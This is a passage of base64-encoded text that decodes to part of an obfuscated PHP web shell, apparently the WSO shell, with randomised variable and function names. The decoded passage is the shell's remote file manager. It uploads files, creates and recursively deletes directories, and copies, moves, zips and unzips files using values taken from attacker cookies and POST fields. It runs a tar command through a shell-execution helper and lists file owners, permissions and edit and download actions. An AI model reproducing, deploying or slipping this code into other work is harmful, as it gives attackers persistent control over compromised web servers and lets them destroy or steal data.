YW1lJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdta2Rpcic6CiAgICAgICAgICAgICAgICBpZiAoIUBta2RpcigkX1BPU1RbJ2R4eHhyZCddKSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IGNyZWF0ZSBuZXcgZGlyIjsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnZGVsZXRlJzoKCiAgICAgICAgICAgICAgICBmdW5jdGlvbiBqdnJzbW1xeXooJG5ydWZzdnhraykgewogICAgICAgICAgICAgICAgICAgICRucnVmc3Z4a2sgPSAoc3Vic3RyKCRucnVmc3Z4a2ssIC0xKSA9PSAnLycpID8gJG5ydWZzdnhrayA6ICRucnVmc3Z4a2sgLiAnLyc7CiAgICAgICAgICAgICAgICAgICAgJGF5c3JrZCA9IG9wZW5kaXIoJG5ydWZzdnhrayk7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCgkZm5qamZ5b2FrID0gcmVhZGRpcigkYXlzcmtkKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRmbmpqZnlvYWsgPSAkbnJ1ZnN2eGtrIC4gJGZuampmeW9hazsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKChiYXNlbmFtZSgkZm5qamZ5b2FrKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGZuampmeW9haykgPT0gIi4iKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGtqb3VrciA9IGZpbGV0eXBlKCRmbmpqZnlvYWspOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGtqb3VrciA9PSAiZGlyIikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAganZyc21tcXl6KCRmbmpqZnlvYWspOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZm5qamZ5b2FrKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjbG9zZWRpcigkYXlzcmtkKTsKICAgICAgICAgICAgICAgICAgICBAcm1kaXIoJG5ydWZzdnhrayk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaWYgKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX1BPU1RbJ2YnXSBhcyAkZXpucmlweCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGV6bnJpcHggPT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGV6bnJpcHggPSB1cmxkZWNvZGUoJGV6bnJpcHgpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRlem5yaXB4KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAganZyc21tcXl6KCRlem5yaXB4KTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGV6bnJpcHgpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdwYXN0ZSc6CiAgICAgICAgICAgICAgICBpZiAoJF9DT09LSUVbJ3NlanonXSA9PSAnY29weScpIHsKCiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gbXRudW8oJHFvd2RlZ2ZtdiwgJGVtcWJiZ24sICR4Zm1xZXBkbCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRxb3dkZWdmbXYgLiAkZW1xYmJnbikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCR4Zm1xZXBkbCAuICRlbXFiYmduKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2bWtwdWVscHFnID0gQG9wZW5kaXIoJHFvd2RlZ2ZtdiAuICRlbXFiYmduKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGV6bnJpcHggPSBAcmVhZGRpcigkdm1rcHVlbHBxZykpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGV6bnJpcHggIT0gIi4iKSBhbmQgKCRlem5yaXB4ICE9ICIuLiIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG10bnVvKCRxb3dkZWdmbXYgLiAkZW1xYmJnbiAuICcvJywgJGV6bnJpcHgsICR4Zm1xZXBkbCAuICRlbXFiYmduIC4gJy8nKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRxb3dkZWdmbXYgLiAkZW1xYmJnbikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRxb3dkZWdmbXYgLiAkZW1xYmJnbiwgJHhmbXFlcGRsIC4gJGVtcWJiZ24pOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX0NPT0tJRVsnbnBka2knXSBhcyAkZXpucmlweCkgewogICAgICAgICAgICAgICAgICAgICAgICBtdG51bygkX0NPT0tJRVsnaHlxdHAnXSwgJGV6bnJpcHgsICRHTE9CQUxTWyd6bnBjaXJhZ3VsaSddKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJF9DT09LSUVbJ3NlanonXSA9PSAnbW92ZScpIHsKCiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24geXVjdXF5KCRxb3dkZWdmbXYsICRlbXFiYmduLCAkeGZtcWVwZGwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkcW93ZGVnZm12IC4gJGVtcWJiZ24pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2RpcigkeGZtcWVwZGwgLiAkZW1xYmJnbik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdm1rcHVlbHBxZyA9IEBvcGVuZGlyKCRxb3dkZWdmbXYgLiAkZW1xYmJnbik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRlem5yaXB4ID0gQHJlYWRkaXIoJHZta3B1ZWxwcWcpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRlem5yaXB4ICE9ICIuIikgYW5kICgkZXpucmlweCAhPSAiLi4iKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtdG51bygkcW93ZGVnZm12IC4gJGVtcWJiZ24gLiAnLycsICRlem5yaXB4LCAkeGZtcWVwZGwgLiAkZW1xYmJnbiAuICcvJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoQGlzX2ZpbGUoJHFvd2RlZ2ZtdiAuICRlbXFiYmduKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGNvcHkoJHFvd2RlZ2ZtdiAuICRlbXFiYmduLCAkeGZtcWVwZGwgLiAkZW1xYmJnbik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfQ09PS0lFWyducGRraSddIGFzICRlem5yaXB4KSB7CiAgICAgICAgICAgICAgICAgICAgICAgIEByZW5hbWUoJF9DT09LSUVbJ2h5cXRwJ10gLiAkZXpucmlweCwgJEdMT0JBTFNbJ3pucGNpcmFndWxpJ10gLiAkZXpucmlweCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRfQ09PS0lFWydzZWp6J10gPT0gJ3ppcCcpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCRfUE9TVFsnZHh4eHJkJ10sIDEpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnaHlxdHAnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX0NPT0tJRVsnbnBka2knXSBhcyAkZXpucmlweCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZXpucmlweCA9PSAnLi4nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBpc19maWxlKCRfQ09PS0lFWydoeXF0cCddIC4gJGV6bnJpcHgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUoJF9DT09LSUVbJ2h5cXRwJ10gLiAkZXpucmlweCwgJGV6bnJpcHgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChAaXNfZGlyKCRfQ09PS0lFWydoeXF0cCddIC4gJGV6bnJpcHgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRrd2loZWtpa3FjcmggPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGV6bnJpcHggLiAnLycsIEZpbGVzeXN0ZW1JdGVyYXRvcjo6U0tJUF9ET1RTKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRrd2loZWtpa3FjcmggYXMgJHVramlwbGh5eCA9PiAkdGNvaWl0c2spIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUocmVhbHBhdGgoJHVramlwbGh5eCksICR1a2ppcGxoeXgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ3pucGNpcmFndWxpJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkX0NPT0tJRVsnc2VqeiddID09ICd1bnppcCcpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfQ09PS0lFWyducGRraSddIGFzICRlem5yaXB4KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHppcC0+b3BlbigkX0NPT0tJRVsnaHlxdHAnXSAuICRlem5yaXB4KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmV4dHJhY3RUbygkR0xPQkFMU1snem5wY2lyYWd1bGknXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkX0NPT0tJRVsnc2VqeiddID09ICd0YXInKSB7CiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9DT09LSUVbJ2h5cXRwJ10pOwogICAgICAgICAgICAgICAgICAgICRfQ09PS0lFWyducGRraSddID0gYXJyYXlfbWFwKCdlc2NhcGVzaGVsbGFyZycsICRfQ09PS0lFWyducGRraSddKTsKICAgICAgICAgICAgICAgICAgICBmZHB1dmt3eSgndGFyIGNmenYgJyAuIGVzY2FwZXNoZWxsYXJnKCRfUE9TVFsnZHh4eHJkJ10pIC4gJyAnIC4gaW1wbG9kZSgnICcsICRfQ09PS0lFWyducGRraSddKSk7CiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ3pucGNpcmFndWxpJ10pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgdW5zZXQoJF9DT09LSUVbJ25wZGtpJ10pOwogICAgICAgICAgICAgICAgc2V0Y29va2llKCducGRraScsICcnLCB0aW1lKCkgLSAzNjAwKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2xzZGVlJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgcnBsbHd1d3ooJ3NlanonLCAkX1BPU1RbJ2xzZGVlJ10pOwogICAgICAgICAgICAgICAgICAgIHJwbGx3dXd6KCducGRraScsIHNlcmlhbGl6ZShAJF9QT1NUWydmJ10pKTsKICAgICAgICAgICAgICAgICAgICBycGxsd3V3eignaHlxdHAnLCBAJF9QT1NUWyd2bHJzbyddKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgIH0KICAgIHFlbXZrKCk7CiAgICBlY2hvICc8aDE+RmlsZSBtYW5hZ2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNjcmlwdD5wMV89cDJfPXAzXz0iIjs8L3NjcmlwdD4nOwogICAgJGpxdW5lcWF4Z3BnID0gaWh4b2tmZHQoaXNzZXQoJF9QT1NUWyd2bHJzbyddKSA/ICRfUE9TVFsndmxyc28nXSA6ICRHTE9CQUxTWyd6bnBjaXJhZ3VsaSddKTsKICAgIGlmICgkanF1bmVxYXhncGcgPT09IGZhbHNlKSB7CiAgICAgICAgZWNobyAnQ2FuXCd0IG9wZW4gdGhpcyBmb2xkZXIhJzsKICAgICAgICBqendkeigpOwoKICAgICAgICByZXR1cm47CiAgICB9CiAgICBnbG9iYWwgJGpkcWF3dXRxYzsKICAgICRqZHFhd3V0cWMgPSBhcnJheSgnbmFtZScsIDEpOwogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2xzZGVlJ10pKSB7CiAgICAgICAgaWYgKHByZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydsc2RlZSddLCAkc3VvZm5hc2opKSB7CiAgICAgICAgICAgICRqZHFhd3V0cWMgPSBhcnJheSgkc3VvZm5hc2pbMV0sIChpbnQpJHN1b2ZuYXNqWzJdKTsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8c2NyaXB0PgogICAgICAgIGZ1bmN0aW9uIHNhKCkgewogICAgICAgICAgICBmb3IoaT0wO2k8ZC5maWxlcy5lbGVtZW50cy5sZW5ndGg7aSsrKQogICAgICAgICAgICAgICAgaWYoZC5maWxlcy5lbGVtZW50c1tpXS50eXBlID09ICdjaGVja2JveCcpCiAgICAgICAgICAgICAgICAgICAgZC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkID0gZC5maWxlcy5lbGVtZW50c1swXS5jaGVja2VkOwogICAgICAgIH0KICAgIDwvc2NyaXB0PgogICAgPHRhYmxlIHdpZHRoPScxMDAlJyBjbGFzcz0nbWFpbicgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScyJz4KICAgICAgICA8Zm9ybSBuYW1lPWZpbGVzIG1ldGhvZD1wb3N0Pjx0cj48dGggd2lkdGg9JzEzcHgnPjxpbnB1dCB0eXBlPWNoZWNrYm94IG9uY2xpY2s9J3NhKCknIGNsYXNzPWNoa2J4PjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX25hbWVfIiAuICgkamRxYXd1dHFjWzFdID8gMCA6IDEpIC4gIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIgLiAoJGpkcWF3dXRxY1sxXSA/IDAgOiAxKSAuICJcIiknPlNpemU8L2E+PC90aD48dGg+PGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsbnVsbCxcInNfbW9kaWZ5XyIgLiAoJGpkcWF3dXRxY1sxXSA/IDAgOiAxKSAuICJcIiknPk1vZGlmeTwvYT48L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3Blcm1zXyIgLiAoJGpkcWF3dXRxY1sxXSA/IDAgOiAxKSAuICJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsKICAgICRoYXlxeGlqYndpZHggPSAkdWRldWtxd3N2a2UgPSBhcnJheSgpOwogICAgJHZ6bGFpbm90ID0gY291bnQoJGpxdW5lcWF4Z3BnKTsKICAgIGZvciAoJGplZHByd3ZhZWYgPSAwOyAkamVkcHJ3dmFlZiA8ICR2emxhaW5vdDsgJGplZHByd3ZhZWYrKykgewogICAgICAgICR3b3lwbXhua3R3ZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRqcXVuZXFheGdwZ1skamVkcHJ3dmFlZl0pKTsKICAgICAgICAka2VlaGh6cyA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRqcXVuZXFheGdwZ1skamVkcHJ3dmFlZl0pKTsKICAgICAgICAkcXJ6a2tjcWpwdSA9IGFycmF5KAogICAgICAgICAgICAnbmFtZScgPT4gJGpxdW5lcWF4Z3BnWyRqZWRwcnd2YWVmXSwKICAgICAgICAgICAgJ3BhdGgnID0+ICRHTE9CQUxTWyd6bnBjaXJhZ3VsaSddIC4gJGpxdW5lcWF4Z3BnWyRqZWRwcnd2YWVmXSwKICAgICAgICAgICAgJ21vZGlmeScgPT4gZGF0ZSgnWS1tLWQgSDppOnMnLCBAZmlsZW10aW1lKCRHTE9CQUxTWyd6bnBjaXJhZ3VsaSddIC4gJGpxdW5lcWF4Z3BnWyRqZWRwcnd2YWVmXSkpLAogICAgICAgICAgICAncGVybXMnID0+IHF3emdrKCRHTE9CQUxTWyd6bnBjaXJhZ3VsaSddIC4gJGpxdW5lcWF4Z3BnWyRqZWRwcnd2YWVmXSksCiAgICAgICAgICAgICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNbJ3pucGNpcmFndWxpJ10gLiAkanF1bmVxYXhncGdbJGplZHByd3ZhZWZdKSwKICAgICAgICAgICAgJ293bmVyJyA9PiAkd295cG14bmt0d2RbJ25hbWUnXSA/ICR3b3lwbXhua3R3ZFsnbmFtZSddIDogQGZpbGVvd25lcigkanF1bmVxYXhncGdbJGplZHByd3ZhZWZdKSwKICAgICAgICAgICAgJ2dyb3VwJyA9PiAka2VlaGh6c1snbmFtZSddID8gJGtlZWhoenNbJ25hbWUnXSA6IEBmaWxlZ3JvdXAoJGpxdW5lcWF4Z3BnWyRqZWRwcnd2YWVmXSkKICAgICAgICApOwogICAgICAgIGlmIChAaXNfZmlsZSgkR0xPQkFMU1snem5wY2lyYWd1bGknXSAuICRqcXVuZXFheGdwZ1skamVkcHJ3dmFlZl0pKSB7CiAgICAgICAgICAgICR1ZGV1a3F3c3ZrZVtdID0gYXJyYXlfbWVyZ2UoJHFyemtrY3FqcHUsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsKICAgICAgICB9IGVsc2VpZiAoQGlzX2xpbmsoJEdMT0JBTFNbJ3pucGNpcmFndWxpJ10gLiAkanF1bmVxYXhncGdbJGplZHByd3ZhZWZdKSkgewogICAgICAgICAgICAkaGF5cXhpamJ3aWR4W10gPSBhcnJheV9tZXJnZSgkcXJ6a2tjcWpwdSwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJywgJ2xpbmsnID0+IHJlYWRsaW5rKCRxcnpra2NxanB1WydwYXRoJ10pKSk7CiAgICAgICAgfSBlbHNlaWYgKEBpc19kaXIoJEdMT0JBTFNbJ3pucGNpcmFndWxpJ10gLiAkanF1bmVxYXhncGdbJGplZHByd3ZhZWZdKSkgewogICAgICAgICAgICAkaGF5cXhpamJ3aWR4W10gPSBhcnJheV9tZXJnZSgkcXJ6a2tjcWpwdSwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7CiAgICAgICAgfQogICAgfQogICAgJEdMT0JBTFNbJ2pkcWF3dXRxYyddID0gJGpkcWF3dXRxYzsKCiAgICBmdW5jdGlvbiBxZXdtZHBwZCgkdnl4cGt2YW1jLCAkbmN5eXphbWUpIHsKICAgICAgICBpZiAoJEdMT0JBTFNbJ2pkcWF3dXRxYyddWzBdICE9ICdzaXplJykgewogICAgICAgICAgICByZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJHZ5eHBrdmFtY1skR0xPQkFMU1snamRxYXd1dHFjJ11bMF1dKSwgc3RydG9sb3dlcigkbmN5eXphbWVbJEdMT0JBTFNbJ2pkcWF3dXRxYyddWzBdXSkpICogKCRHTE9CQUxTWydqZHFhd3V0cWMnXVsxXSA/IDEgOiAtMSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgcmV0dXJuICgoJHZ5eHBrdmFtY1snc2l6ZSddIDwgJG5jeXl6YW1lWydzaXplJ10pID8gLTEgOiAxKSAqICgkR0xPQkFMU1snamRxYXd1dHFjJ11bMV0gPyAxIDogLTEpOwogICAgICAgIH0KICAgIH0KCiAgICB1c29ydCgkdWRldWtxd3N2a2UsICJxZXdtZHBwZCIpOwogICAgdXNvcnQoJGhheXF4aWpid2lkeCwgInFld21kcHBkIik7CiAgICAkdWRldWtxd3N2a2UgPSBhcnJheV9tZXJnZSgkaGF5cXhpamJ3aWR4LCAkdWRldWtxd3N2a2UpOwogICAgJHNqcGlhdWhlbSA9IDA7CiAgICBmb3JlYWNoICgkdWRldWtxd3N2a2UgYXMgJGV6bnJpcHgpIHsKICAgICAgICBlY2hvICc8dHInIC4gKCRzanBpYXVoZW0gPyAnIGNsYXNzPWwxJyA6ICcnKSAuICc+PHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9ImZbXSIgdmFsdWU9IicgLiB1cmxlbmNvZGUoJGV6bnJpcHhbJ25hbWUnXSkgLiAnIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJyAuICgoJGV6bnJpcHhbJ3R5cGUnXSA9PSAnZmlsZScpID8gJ2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycgLiB1cmxlbmNvZGUoJGV6bnJpcHhbJ25hbWUnXSkgLiAnXCcsIFwndmlld1wnKSI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGV6bnJpcHhbJ25hbWUnXSkgOiAnZyhcJ0ZpbGVzTWFuXCcsXCcnIC4gJGV6bnJpcHhbJ3BhdGgnXSAuICdcJyk7IiAnIC4gKGVtcHR5KCRlem5yaXB4WydsaW5rJ10pID8gJycgOiAidGl0bGU9J3skZXpucmlweFsnbGluayddfSciKSAuICc+PGI+WyAnIC4gaHRtbHNwZWNpYWxjaGFycygkZXpucmlweFsnbmFtZSddKSAuICcgXTwvYj4nKSAuICc8L2E+PC90ZD48dGQ+JyAuICgoJGV6bnJpcHhbJ3R5cGUnXSA9PSAnZmlsZScpID8gZGJ0Y3EoJGV6bnJpcHhbJ3NpemUnXSkgOiAkZXpucmlweFsndHlwZSddKSAuICc8L3RkPjx0ZD4nIC4gJGV6bnJpcHhbJ21vZGlmeSddIC4gJzwvdGQ+PHRkPicgLiAkZXpucmlweFsnb3duZXInXSAuICcvJyAuICRlem5yaXB4Wydncm91cCddIC4gJzwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnIC4gdXJsZW5jb2RlKCRlem5yaXB4WyduYW1lJ10pIC4gJ1wnLFwnY2htb2RcJykiPicgLiAkZXpucmlweFsncGVybXMnXQogICAgICAgICAgICAuICc8L3RkPjx0ZD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnIC4gdXJsZW5jb2RlKCRlem5yaXB4WyduYW1lJ10pIC4gJ1wnLCBcJ3JlbmFtZVwnKSI+UjwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJyAuIHVybGVuY29kZSgkZXpucmlweFsnbmFtZSddKSAuICdcJywgXCd0b3VjaFwnKSI+VDwvYT4nIC4gKCgkZXpucmlweFsndHlwZSddID09ICdmaWxlJykgPyAnIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycgLiB1cmxlbmNvZGUoJGV6bnJpcHhbJ25hbWUnXSkgLiAnXCcsIFwnZWRpdFwnKSI+RTwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJyAuIHVybGVuY29kZSgkZXpucmlweFsnbmFtZSddKSAuICdcJywgXCdkb3dubG9hZFwnKSI+RDwvYT4nIDogJycpIC4gJzwvdGQ+PC90cj4nOwogICAgICAgICRzanBpYXVoZW0gPSAkc2pwaWF1aGVtID8gMCA6IDE7CiAgICB9CgoKICAgIGVjaG8gIjx0cj48dGQgY29sc3Bhbj03PgoKICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1vYmt1c3AgdmFsdWU9JyIgLiBra3dhdW8oJ0ZpbGVzTWFuJykgLiAiJz4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT12bHJzbyB2YWx1ZT0nIiAuIGtrd2F1byhodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWyd6bnBjaXJhZ3VsaSddKSkgLiAiJz4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zZnRyIHZhbHVlPSciIC4gKGlzc2V0KCRfUE9TVFsnc2Z0ciddKSA/ICRfUE9TVFsnc2Z0ciddIDogJycpIC4gIic+CiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBuYW1lPSdsc2RlZSc+PG9wdGlvbiB2YWx1ZT0nIiAuIGtrd2F1bygnY29weScpIC4gIic+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9JyIgLiBra3dhdW8oJ21vdmUnKSAuICInPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSciIC4ga2t3YXVvKCdkZWxldGUnKSAuICInPkRlbGV0ZTwvb3B0aW9uPiI7CiAgICBpZiAoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsKICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSciIC4ga2t3YXVvKCd6aXAnKSAuICInPkNvbXByZXNzICh6aXApPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nIiAuIGtrd2F1bygndW56aXAnKSAuICInPlVuY29tcHJlc3MgKHppcCk8L29wdGlvbj4iOwogICAgfQogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nIiAuIGtrd2F1bygndGFyJykgLiAiJz5Db21wcmVzcyAodGFyLmd6KTwvb3B0aW9uPiI7CgogICAgaWYgKCFlbXB0eSgkX0NPT0tJRVsnc2VqeiddKSAmJiAoaXNzZXQoJF9DT09LSUVbJ25wZGtpJ10pICYmICFlbXB0eSgkX0NPT0tJRVsnbnBka2knXSkpKSB7CiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nIiAuIGtrd2F1bygncGFzdGUnKSAuICInPlBhc3RlIC8gQ29tcHJlc3M8L29wdGlvbj4iOwogICAgfQoKICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOyI7CgogICAgaWYgKCFlbXB0eSgkX0NPT0tJRVsnc2VqeiddKSAmJiAoaXNzZXQoJF9DT09LSUVbJ25wZGtpJ10pICYmICFlbXB0eSgkX0NPT0tJRVsnbnBka2knXSkpICYmICgoJF9DT09LSUVbJ3NlanonXSA9PSAnemlwJykgfHwgKCRfQ09PS0lFWydzZWp6J10gPT0gJ3RhcicpKSkgewogICAgICAgICRqcmtiZHdrcSA9ICJ3c29